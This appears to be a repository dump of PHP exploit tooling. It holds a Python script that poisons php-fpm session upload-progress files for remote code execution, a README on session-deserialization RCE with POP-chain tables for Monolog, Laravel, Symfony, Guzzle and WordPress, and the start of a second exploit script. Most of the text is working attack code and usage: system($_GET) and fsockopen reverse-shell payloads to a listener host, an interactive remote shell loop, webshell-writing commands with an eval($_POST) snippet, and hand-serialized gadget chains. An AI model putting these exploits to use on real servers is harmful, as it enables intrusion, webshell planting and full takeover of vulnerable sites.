3. php-fpm executes the (extension-less) session file when the request
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
— the classic nginx cgi.fix_pathinfo routing. The only gate is
security.limit_extensions, whose compiled default (.php .phar) blocks
it but which is frequently set empty in real deployments. Verified
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
4. session.upload_progress.cleanup=1 (default) truncates the file when
the upload finishes, so execution is raced against the upload window
with a slow multipart body. With cleanup=0 the file persists and no
race is needed.
Preconditions (all defaults unless noted):
- session.upload_progress.enabled=1
- PHP-FPM with session.save_path web-served
- security.limit_extensions empty (non-default; common in the wild)
- any PHP-handled URL on the vhost, including 404s
Usage:
python3 exploit_nolfi.py -t http://target/ --probe
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
"""
import argparse
import io
import os
import re
import socket
import sys
import threading
import time
MARKER = "NOLFIMARK"
DEFAULT_URL_PREFIXES = [
"/sessions",
"/tmp",
"/var/lib/php/sessions",
"/var/lib/php/session",
"/var/lib/php5/sessions",
"/sess",
"/storage/sessions",
"/files/sessions",
]
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets, same style as the other exploits)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host, port, tls, timeout=10):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
if m:
cl = int(m.group(1))
while len(resp) - hdr_end < cl:
more = sock.recv(8192)
if not more:
break
resp += more
break
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
if b"\r\n0\r\n" in resp[hdr_end:]:
break
except socket.timeout:
pass
return resp
def _decode_chunked(data):
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
try:
n = int(data[:line_end].split(b";")[0].strip(), 16)
except ValueError:
break
if n == 0:
break
out += data[line_end + 2:line_end + 2 + n]
data = data[line_end + 2 + n + 2:]
return out
def _body_of(resp):
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_of(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
sock = _connect(host, port, tls)
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
if cookie:
req += b"Cookie: " + cookie.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = _recv_response(sock, timeout)
sock.close()
return _status_of(resp), _body_of(resp)
# ---------------------------------------------------------------------------
# Multipart slow upload (keeps the poisoned session file on disk)
# ---------------------------------------------------------------------------
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
drip=0.01, result=None):
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
tail = b"\r\n--" + boundary + b"--\r\n"
total = len(head) + fill + len(tail)
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n" + head
)
block = b"\x00" * 65000
for _ in range(fill // len(block)):
sock.sendall(block)
time.sleep(drip)
sock.sendall(tail)
_recv_response(sock, timeout=5)
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
fsize=512, result=None):
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
runs and the poisoned session file persists. Requires the OOM body
to fit under post_max_size while exceeding memory_limit headroom.
"""
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
def field(name, value):
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n")
def file_part():
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"\x00" * 2048 + b"\r\n")
def chunk(sock, data):
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
sent = 0
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
chunk(sock, file_part())
batch = b""
for i in range(fields):
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
if len(batch) >= 256 * 1024:
chunk(sock, batch)
sent = i
batch = b""
if batch:
chunk(sock, batch)
try:
sock.sendall(b"0\r\n\r\n")
_recv_response(sock, timeout=8)
except OSError:
pass
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
if result is not None:
result["fields_sent"] = sent
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
def cmd_payload():
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
def reverse_shell_payload(lhost, lport):
code = (
f'$s=fsockopen("{lhost}",{lport});'
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
)
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
# ---------------------------------------------------------------------------
# Chain: poison -> probe served dir -> pathinfo execution
# ---------------------------------------------------------------------------
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
fill=1 << 25, verbose=True, oom=False, fields=30000,
fsize=512):
"""One attempt against one URL prefix. Returns
("rce", sid, url, text) | ("served", sid, url, None) | None."""
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
os.urandom(12).hex()
sess_url = f"{url_prefix}/sess_{sid}"
cookie = f"PHPSESSID={sid}"
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
if oom:
result = {}
if verbose:
print(f" [*] OOM poisoning {sess_url} ...")
oom_poison_upload(host, port, tls, path, sid, php_code,
fields=fields, fsize=fsize, result=result)
time.sleep(1.0)
saw_static = False
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=5)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} web-served, file persisted "
f"(OOM bailout skipped cleanup)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
return ("served", sid, sess_url, None)
if verbose and result.get("error"):
print(f" [!] upload error: {result['error']}")
return None
result = {}
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, php_code),
kwargs={"result": result, "fill": fill}, daemon=True)
t.start()
time.sleep(0.5)
deadline = time.time() + window
saw_static = False
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
while time.time() < deadline:
# execution vectors first, raced against the (possibly tiny) window
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=3)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
# static: served-dir detection (source disclosure of the session file)
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served "
f"(session file source disclosed)")
break
except OSError:
pass
time.sleep(0.005)
t.join(timeout=3)
# post-window calm checks: streaming stacks with cleanup=0 keep the file
try:
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served (file persisted "
f"after upload: cleanup=0)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=4)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
if saw_static:
return ("served", sid, sess_url, None)
return None
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
fields=30000, fsize=512):
"""Re-poison the same SID and execute a command during the window."""
sess_url = f"{url_prefix}/sess_{sid}"
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
hit = {}
lock = threading.Lock()
def poll(pi):
while True:
if stop.is_set():
return
try:
status, body = _get(host, port, tls,
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
with lock:
if "out" not in hit:
out = text.split(MARKER + ":", 1)[1]
hit["out"] = out.split(
'|a:5:{s:10:"start_time"', 1)[0]
stop.set()
return
except OSError:
continue
if oom:
result = {}
oom_poison_upload(host, port, tls, path, sid, payload,
fields=fields, fsize=fsize, result=result)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php")]
for th in threads:
th.start()
for th in threads:
th.join(timeout=10)
return hit.get("out")
result = {}
for cycle in range(3 if not oom else 1):
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, payload),
kwargs={"result": result}, daemon=True)
t.start()
time.sleep(0.3)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
for th in threads:
th.start()
grace = None
while True:
if stop.is_set():
break
if not t.is_alive():
if grace is None:
grace = time.time() + 1.5
elif time.time() > grace:
break
time.sleep(0.002)
stop.set()
for th in threads:
th.join(timeout=3)
if "out" in hit:
return hit["out"]
return None
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE without LFI "
"(web-served session.save_path + php-fpm pathinfo)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/ --probe
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
""")
p.add_argument("--target", "-t", required=True,
help="Target base URL (any PHP-handled URL on the vhost, "
"404 is fine)")
p.add_argument("--url-prefix", default="",
help="URL prefix that serves session.save_path "
"(e.g. /sessions). Probes defaults if omitted")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--window", type=float, default=12.0,
help="Upload race window in seconds (default 12)")
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
"in MB; must stay under the target post_max_size (default "
"6MB, PHP default post_max_size is 8M)")
p.add_argument("--probe", action="store_true",
help="Only classify the target, do not attack")
p.add_argument("--oom", action="store_true",
help="Use the CVE-2026-109618 OOM bailout for "
"persistence instead of racing the upload window "
"(requires post_max_size > OOM volume and memory "
"headroom)")
p.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields (default 30000)")
p.add_argument("--fsize", type=int, default=512,
help="OOM field size in bytes (default 512)")
p.add_argument("--attempts", type=int, default=3)
args = p.parse_args()
host, port, tls, path = _parse_url(args.target)
scheme = "https" if tls else "http"
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
print(f"[*] Target: {args.target}")
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
fill = args.fill * (1 << 20)
if args.probe:
php_code = cmd_payload()
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
f"(web-served session dir detection)")
for prefix in prefixes:
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
print(f" [-] {prefix}: not served")
else:
kind, sid, url, text = r
if kind == "rce":
print(f" [++] {prefix}: EXECUTABLE — {url}")
else:
print(f" [+] {prefix}: served, not executable "
f"(limit_extensions default or non-fpm engine)")
return
if not args.cmd and not (args.lhost and args.lport):
print("[!] Specify --probe, --cmd, or --lhost/--lport")
sys.exit(1)
php_code = (cmd_payload() if args.cmd
else reverse_shell_payload(args.lhost, args.lport))
if args.oom:
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
f"fields)")
else:
print(f"[*] Race window: {args.window}s per prefix, "
f"{len(prefixes)} prefixes")
for attempt in range(1, args.attempts + 1):
for prefix in prefixes:
print(f"[*] Attempt {attempt}/{args.attempts} "
f"against {prefix} ...")
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
continue
kind, sid, url, text = r
if kind == "rce":
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
if args.cmd:
out = run_cmd(host, port, tls, path, prefix, sid,
args.cmd, oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(f"[+] {args.cmd}\n{out}" if out is not None
else "[!] exec failed (race lost, retry)")
else:
print(f"[*] Reverse shell payload executed — check "
f"listener on {args.lhost}:{args.lport}")
while True:
try:
c = input("shell> ").strip()
except EOFError:
break
if not c:
continue
out = run_cmd(host, port, tls, path, prefix, sid, c,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(out if out is not None else "[!] exec failed")
return
print(f" [+] {prefix}: served but not executable "
f"(session source disclosure only)")
print("[!] No executable prefix found. Precondition likely missing: "
"save_path not web-served, or security.limit_extensions is set.")
if __name__ == "__main__":
main()
-3
View File
@@ -1,3 +0,0 @@
vendor/
__pycache__/
composer.lock
-237
View File
@@ -1,237 +0,0 @@
# Session Deserialization RCE via Handler Mismatch
Remote code execution through PHP's `session.serialize_handler` mismatch.
No LFI required. No FPM dependency. Works on any SAPI.
## How It Works
PHP supports multiple session serialization formats. The two relevant ones:
- `php` (the default): stores session data as `key|serialized_value`
- `php_serialize`: stores session data as a single `serialize()`d array
When one endpoint writes session data using `php_serialize` and another
reads it using the `php` handler, the pipe character `|` inside a
serialized string is misinterpreted as a key/value delimiter. This causes
PHP to call `unserialize()` on attacker-controlled data when
`session_start()` runs on the second endpoint.
### Attack flow
```
1. Attacker POSTs to endpoint A (php_serialize handler):
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
2. PHP stores this in the session file as:
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
3. Attacker GETs endpoint B (php handler) with the same session ID.
session_start() reads the file and splits on |:
key = a:1:{s:4:"data";s:550:"
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
PHP calls unserialize() on the value.
4. The deserialized object's __destruct method fires,
triggering the POP gadget chain for RCE.
```
### What makes a target vulnerable
The exploit requires ALL of the following:
1. **Two endpoints with different session serialize handlers.** One must use
`php_serialize`, the other must use the default `php`. PHP's own default
is `php` for both, so this mismatch only occurs when a framework or
application explicitly changes the handler for some endpoints.
2. **Shared session storage.** Both endpoints must read/write the same
session files (same `session.save_path`). This is the default when
both run under the same PHP installation.
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
must exist in classes that PHP has loaded (via autoloader or require).
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
through magic methods (__destruct, __wakeup, __toString, etc.).
### Where this mismatch occurs in practice
- **Laravel** sets `session.serialize_handler = php_serialize` in its
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
admin scripts, health checks, legacy code) uses the PHP default `php`.
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
applications on the same server may not.
- **Shared hosting** where multiple PHP applications share the same session
save path but use different frameworks.
- **Mixed codebases** where old and new code coexist on the same domain,
with the new code using a framework and the old code using raw PHP sessions.
A single-application deployment where every endpoint uses the same handler
is NOT vulnerable to this attack.
## Injection Modes
### inject (primary)
The target has an endpoint that stores POST data into `$_SESSION` using
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
a POST value. A second request to a `php`-handler endpoint triggers
deserialization.
```bash
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
```
### progress (no app session storage needed)
Uses `session.upload_progress` to inject the `|` character via the upload
filename field. No application-level session writing needed. Combined with
the OOM crash from CVE-2026-109618 to persist past cleanup.
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
can only use public properties (no protected/private property serialization).
```bash
python3 exploit.py --mode progress \
--write-url http://target/any.php \
--trigger-url http://target/default.php \
--chain wordpress-cmd --cmd 'id'
```
## Built-in POP Chains
Each chain is tested end-to-end through the full HTTP exploit flow
on PHP 8.3 against the listed library version.
### Current versions (work on latest releases)
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
### Legacy versions
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
### Why some chains have version ceilings
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
in `createClassListener()`, which calls `$this->container->make()` on a null
container. The RCE22 chain routes through `league/commonmark` `Environment`
instead.
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
`LogicException` on deserialization.
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
`BadMethodCallException`.
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
7.x core.
### Custom chains
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
and base64 (auto-detected).
```bash
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain-file chain.bin
# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64
```
## Usage
```bash
# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain monolog3-fw \
--write-path /var/www/html/shell.php
# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
--write-path /var/www/html/s.php \
--shell-code '<?php eval($_POST["x"]); ?>'
# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
--write-url http://target/any_endpoint.php \
--trigger-url http://target/default_handler.php \
--chain wordpress-cmd --cmd 'id'
```
## Options
```
--mode {inject,progress} Injection mode (default: inject)
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
--write-url URL Any endpoint for progress mode injection
--trigger-url URL Endpoint using default php handler (triggers deserialization)
--chain CHAIN Built-in POP chain name
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
--write-path PATH File path for fw chains (webshell destination)
--shell-code CODE Custom PHP code for fw chains
--cmd CMD Command for cmd chains
--fields N OOM pressure fields for progress mode (default: 30000)
--field-size N Bytes per OOM field (default: 512)
```
## Test Environment
The test endpoints used for verification:
`test_serialize.php` (inject endpoint, uses php_serialize):
```php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
```
`test_trigger.php` (trigger endpoint, uses default php handler):
```php
<?php
require 'vendor/autoload.php'; // loads framework classes
session_start(); // deserializes session data
```
The mismatch between `php_serialize` on the first and `php` (default) on the
second is what enables the attack.
-6
View File
@@ -1,6 +0,0 @@
{
"require": {
"monolog/monolog": "1.27.1",
"fakerphp/faker": "^1.24"
}
}
-995
View File
@@ -1,995 +0,0 @@
#!/usr/bin/env python3
"""
PHP Session Deserialization RCE via Handler Mismatch
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
Exploits the combination of:
1. session.upload_progress writes attacker data to session files
2. A session.serialize_handler mismatch between two endpoints
3. A POP gadget chain in the application's autoloaded classes
When one endpoint uses php_serialize and another uses the default php
handler, the pipe character '|' injected into session data is
misinterpreted as a key/value delimiter, causing arbitrary
deserialization of attacker-controlled objects.
Two injection modes:
inject (primary, full POP chain support)
Target has an endpoint that stores POST data in $_SESSION via
php_serialize handler. Attacker sends |<serialized_chain> as
a POST value. A second request to a php-handler endpoint
triggers deserialization when session_start() reads the file.
progress (no app involvement, limited chains)
Uses session.upload_progress to inject '|' via the upload
filename. No application session storage needed, but the
multipart parser truncates NULL bytes in filenames, so the
POP chain can only use public properties. Combined with
OOM crash (CVE-2026-109618) to persist past cleanup.
Handler mismatch is common in the wild:
- Laravel sets php_serialize in its bootstrap; any non-Laravel
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
uses the default php handler
- Symfony configures php_serialize; adjacent apps may not
- Mixed old/new codebases on shared hosting
Requirements:
- session.upload_progress.enabled = 1 (default, for progress mode)
- Two endpoints with different session.serialize_handler settings
- A POP gadget chain in autoloaded classes
- session.save_handler = files (default)
Built-in chains (--chain):
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
Custom chains (--chain-file):
phpggc Laravel/RCE1 system id > chain.bin
python3 exploit.py ... --chain-file chain.bin
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
Usage:
# Inject mode (most practical):
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw \\
--write-path /var/www/html/s.php
# Inject mode with direct command execution:
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
python3 exploit.py --mode progress \\
--write-url http://target/serialize.php \\
--trigger-url http://target/default.php \\
--chain-file chain_pub.bin
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
import urllib.parse
from urllib.parse import urlparse
# ═══════════════════════════════════════════════════════════════════════
# PHP serialization
# ═══════════════════════════════════════════════════════════════════════
def php_str(s):
if isinstance(s, str):
s = s.encode()
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
def php_int(n):
return b"i:" + str(n).encode() + b";"
def php_bool(v):
return b"b:" + (b"1" if v else b"0") + b";"
def php_null():
return b"N;"
def php_arr(entries):
body = b"".join(k + v for k, v in entries)
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
def php_obj(cls, props):
body = b"".join(k + v for k, v in props)
cn = cls.encode() if isinstance(cls, str) else cls
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
+ str(len(props)).encode() + b":{" + body + b"}")
def php_enum(cls, case):
label = f"{cls}:{case}"
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
def php_datetime_immutable():
from datetime import datetime, timezone
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
return php_obj("DateTimeImmutable", [
(php_str("date"), php_str(now)),
(php_str("timezone_type"), php_int(3)),
(php_str("timezone"), php_str("UTC")),
])
def prot(name):
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00*\x00" + n)
def priv(cls, name):
c = cls.encode() if isinstance(cls, str) else cls
n = name.encode() if isinstance(name, str) else name
return php_str(b"\x00" + c + b"\x00" + n)
# ═══════════════════════════════════════════════════════════════════════
# POP gadget chains
# ═══════════════════════════════════════════════════════════════════════
def _rce1_chain(func, param):
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
-> close()
-> $this->socket->close() socket = BufferHandler
BufferHandler::close -> flush
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
AbstractHandler::handleBatch -> foreach handle($record)
BufferHandler::handle -> call_user_func($processor, $record) for each processor
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
processors[1] = $func -> $func($param)
"""
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
# itself. This creates the self-referencing handler=$this that phpggc uses.
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
# with handler pointing back to the BufferHandler via reference.
record = php_arr([
(php_int(0), php_str(param)),
(php_str("level"), php_null()),
])
buf = php_obj("Monolog\\Handler\\BufferHandler", [
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
(prot("bufferSize"), php_int(-1)),
(prot("buffer"), php_arr([(php_int(0), record)])),
(prot("level"), php_null()),
(prot("initialized"), php_bool(True)),
(prot("bufferLimit"), php_int(-1)),
(prot("processors"), php_arr([
(php_int(0), php_str("current")),
(php_int(1), php_str(func)),
])),
])
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
(prot("socket"), buf),
])
def chain_monolog_fw(write_path, shell_code):
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system() with a printf command
that writes shell_code to write_path.
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
escaped_code = shell_code.replace("'", "'\\''")
escaped_path = write_path.replace("'", "'\\''")
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
return _rce1_chain("system", cmd)
def chain_monolog_cmd(cmd):
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
Uses the Monolog/RCE1 gadget to call system($cmd).
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
"""
return _rce1_chain("system", cmd)
def chain_monolog3_fw(write_path, shell_code):
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
GroupHandler.__destruct (inherited from Handler)
-> close()
-> foreach $this->handlers: $handler->close()
DeduplicationHandler::close -> flush()
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
Written format: "timestamp:DEBUG:message\\n"
PHP ignores content before <?php, so the prefix is harmless.
